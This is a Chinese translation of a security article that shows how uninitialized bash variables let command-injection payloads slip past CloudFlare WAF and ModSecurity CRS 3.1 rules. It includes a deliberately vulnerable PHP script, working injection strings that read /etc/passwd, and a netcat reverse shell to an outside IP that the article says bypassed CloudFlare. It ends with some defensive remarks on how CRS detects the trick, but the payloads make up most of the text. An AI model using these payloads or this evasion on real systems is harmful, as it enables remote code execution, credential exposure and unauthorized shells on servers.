本文探讨了如何使用未初始化的bash变量来绕过基于正则表达式过滤器和模式匹配的WAF,现在让我们看看它如何在CloudFlare WAF和ModSecurity OWASP CRS3上完成的。
前文回顾
在本文中,我将展示一种使用未初始化的bash变量的技术,来绕过基于正则表达式的过滤器和模式匹配。
echo "uninitialized_variable=$uninitialized_variable"
未初始化的变量具有null值(根本没有值)。
uninitialized_variable=
如上所述,声明后但不初始化它与将其设置为空值相同。
默认情况下,bash会像Perl那样处理未初始化的变量,把它们当做空字符串,它们可以在参数内使用,甚至可以执行与未初始化变量连接的命令。让我们从一个例子开始吧。
假设我们要执行命令cat /etc/passwd,我们可以使用以下语法:cat$u /etc$u/passwd$u
其中$u不存在,并且被bash视为空字符串:
这可用于绕过WAF的规则,让我们使用CloudFlare WAF和ModSecurity OWASP核心规则集3.1进行一些测试。
和前两篇文章一样,我将在一个非常简单的PHP脚本上测试这种bypass技术,这个脚本绝对容易受到影响而且远离现实场景(我希望如此)。通过这个测试来评估像CloudFlare那样的优质服务是愚蠢的。这只是一种在“真实”场景中更好地解释这种技术的方法,这并不意味着 CloudFlare WAF比其他人更安全或更不安全。它只是展示为什么需要知道自己写的代码是如何易受攻击以及开发者可以采取哪些措施来修复它或开发自定义规则(而且,在之前的文章中,我是使用Sucuri进行此类测试…但本文改变了测试目标)。
我所做的是启用所有CloudFlare WAF规则并将安全级别配置为高(似乎所有都基于OWASP CRS 2 ……)。
简单的PHP脚本:
<?php
if(isset($_GET['host'])) {
system('dig '.$_GET['host']);
}
?>
这个非常简单的PHP脚本用dig解析GET参数上host的给定主机名,例如/?host=www.google.com。
响应是:
显然,仅仅通过在主机名后面加一个分号并启动一个新命令就容易受到RCE的攻击,例如:/?host=www.google.com;ls+/
但是如果我尝试通过执行cat /etc/passwd来读取/etc/passwd文件呢?让我们尝试:/?host=www.google.com;cat+/etc/passwd
我被阻止了,这很好!现在我可以尝试将未初始化的变量放置在/etc/passwd来绕过整个规则集,例如:/?host=www.google.com;cat$u+/etc$u/passwd$u,其中$u是我定义的空字符串。
正如在上面的屏幕截图中看到的,我的请求已通过,并且/etc/passwd文件已泄露。不是很酷吗?┌(◉͜ʖ◉)つ┣▇▇▇═──
CloudFlare有一些特定的规则来防止netcat使用来获得反弹shell。所以,我决定试图绕过CloudFlare WAF规则集获得反弹shell。在这种情况下,我只是将CloudFlare Specials类别所有规则设置为“block”。
首先尝试在端口1337上使用参数-e /bin/bash执行netcat到我的IP。
好消息:CloudFlare阻止了我的请求。现在我想尝试执行相同的命令,在nc参数/bin/bash之后和之内添加一些未初始化的bash变量,如:
nc$u -e /bin$u/bash$u 1.2.3.4 1337
直接绕过了,获得了shell。
使用CRS3.1后所有bypass技术将变得更难,特别是将防护等级提高到3(CRS3上有4个防护等级,但第四个是完全不可能绕过的),这就是我喜欢CRS3的众多原因之一!
与CloudFlare上发生的情况不同,在Paranoia Level 3上配置CRS3.1,我的第一个测试被规则932100 “Unix命令注入” 阻止:
我该怎么做才能绕过这条规则?我知道;<command>被阻止了,但是payload;<space><uninitialized var><command>可能会通过……所以我想试试:
?host=www.google.it;+$u+cat+/etc/passwd
太好了!我绕过了规则932100,但由于参数主机中的etc/passwd字符串导致我的请求被阻止了。我能做的是在etc/passwd路径中添加更多未初始化的变量,如:
?host=www.google.it;+$u+cat+/etc$u/passwd$u
与我对CloudFlare WAF的测试不同,使用具有防护等级3的CRS3.1绕过它更难,并且在PHP脚本中通过$_GET['host']包含双引号后要绕过的话则变得非常不可能。不过还是试一试吧:
<?php
if(isset($_GET['host'])) {
system('dig "'.$_GET['host'].'"');
}
?>
现在,为了注入命令,分号是不够的……我需要处理双引号并注释掉最后的双引号。例如:
/?host=www.google.it";cat+/etc/passwd+#
我知道你在想什么:“现在有双引号,分号,包含变量的RCE有效payload和注释字符,CloudFlare会阻止它”……然而事实是并未阻止。
与CloudFlare不同,在OWASP CRS3上,由于两条规则,我无法绕过防护等级3的规则集:
* 942460 元字符异常检测警报 – 重复非字字符:由于“,;,/和$字符,它阻止了我的请求。
* 942260 检测到数量达到2/3的基本SQL身份验证绕过:我被此规则阻止了才尝试使用较少的特殊字符。
将防护水平降低到2,就很有效:/?host=www.google.it“;+$u+cat+/etc$u/passwd+\#
为什么阻止这种请求如此困难?为什么WAF通常不会阻止参数值中的美元字符?因为它会容易出现许多误报。恕我直言,最好的方法是CRS3使用的方法,只有在单个值中找到4个或更多重复的非单词字符时才会阻止,这比阻止特定字符更聪明,误报率更低。
感谢阅读!
*参考来源:secjuice,生如夏花编译,转载请注明来自 FreeBuf.COM